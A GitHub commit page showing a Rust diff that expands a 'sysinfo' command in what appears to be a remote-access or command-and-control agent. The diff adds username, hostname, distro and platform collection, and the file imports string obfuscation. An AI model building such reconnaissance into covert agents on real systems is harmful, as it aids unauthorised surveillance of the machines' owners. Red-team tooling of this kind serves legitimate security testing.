Skip to content

Commit

Permalink
more detail and emojis in sysinfo
Browse files Browse the repository at this point in the history
  • Loading branch information
husky committed Apr 4, 2022
1 parent 8fdde5e commit fcd4a8f
Showing 1 changed file with 20 additions and 10 deletions.
30 changes: 20 additions & 10 deletions agent/src/cmd/sysinfo.rs
Original file line number Diff line number Diff line change
@@ -1,26 +1,36 @@
use std::error::Error;
use litcrypt::lc;
use whoami::{desktop_env, devicename, distro};
use whoami::{desktop_env, devicename, distro, username, platform, hostname};
use crate::cmd::notion_out;


/// Returns a whole bunch of info about the current session, leans heavily on the whoami crate and organizes the info
pub async fn handle() -> Result<String, Box<dyn Error>> {

let mut return_string: String = "".to_string();
let mut return_string: String = "================= SYSINFO =================\n".to_string();


let mut str_username: String = "\n❓ Username: ".to_string();
let mut str_hostname: String = "\n🏡 Hostname: ".to_string();
let mut str_distro: String = "\n📀 Distro: ".to_string();
let mut str_platform: String = "\n🖥️ Platform: ".to_string();

let session_username: String = username();
let session_hostname: String = hostname();
let desktop_env = desktop_env().to_string();
let session_distro = distro().to_string();
let session_platform: String = platform().to_string();

let device_name = devicename().to_string();

let distro = distro().to_string();
str_username.push_str(&session_username);
str_hostname.push_str(&session_hostname);
str_distro.push_str(&session_distro);
str_platform.push_str(&session_platform);


return_string.push_str(&device_name);
return_string.push_str("\n");
return_string.push_str(&desktop_env);
return_string.push_str("\n");
return_string.push_str(&distro);
return_string.push_str(&str_username);
return_string.push_str(&str_hostname);
return_string.push_str(&str_distro);
return_string.push_str(&str_platform);

Ok(return_string)
}

0 comments on commit fcd4a8f

Please sign in to comment.